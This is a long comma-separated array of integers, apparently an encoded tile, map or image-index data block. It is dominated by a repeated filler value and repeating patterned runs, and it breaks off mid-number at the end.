18,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,53518,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,61913,41542,41542,41542,41542,48876,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,65804,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,48653,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,60153,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,45477,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45496,45525,45509,45539,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,64785,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45555,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,38529,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,45576,74434,37318,74579,74583,74448,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,68588,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,45596,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,45625,45661,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,3731